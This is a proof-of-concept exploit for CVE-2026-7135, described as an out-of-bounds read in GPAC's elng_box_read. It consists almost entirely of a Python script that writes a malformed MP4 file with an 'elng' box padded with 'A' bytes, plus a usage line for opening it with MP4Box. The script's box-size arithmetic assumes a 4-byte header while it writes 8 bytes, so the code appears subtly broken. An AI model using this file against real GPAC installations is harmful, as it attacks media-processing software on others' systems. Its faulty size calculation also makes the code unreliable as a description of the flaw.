CVE-2026-7135 GPAC越界读取漏洞

# PoC for CVE-2026-7135: GPAC Out-of-Bounds Read in elng_box_read # This script demonstrates the creation of a malicious file to trigger the vulnerability. import struct def create_exploit_file(filename): # Constructing a minimal MP4 box structure to target the 'elng' box handler # The 'elng' box type identifier box_type = b'elng' # Payload designed to trigger the out-of-bounds read in elng_box_read # The specific size depends on the allocation size versus read size in the vulnerable code malicious_payload = b'A' * 256 # Box header (Size + Type) # Size = 4 (header size) + len(payload) box_size = struct.pack('>I', 4 + len(malicious_payload)) with open(filename, 'wb') as f: f.write(box_size + box_type + malicious_payload) if __name__ == "__main__": output_file = "cve_2026_7135_exploit.mp4" create_exploit_file(output_file) print(f"[+] Exploit file generated: {output_file}") print(f"[+] Usage: MP4Box -info {output_file}")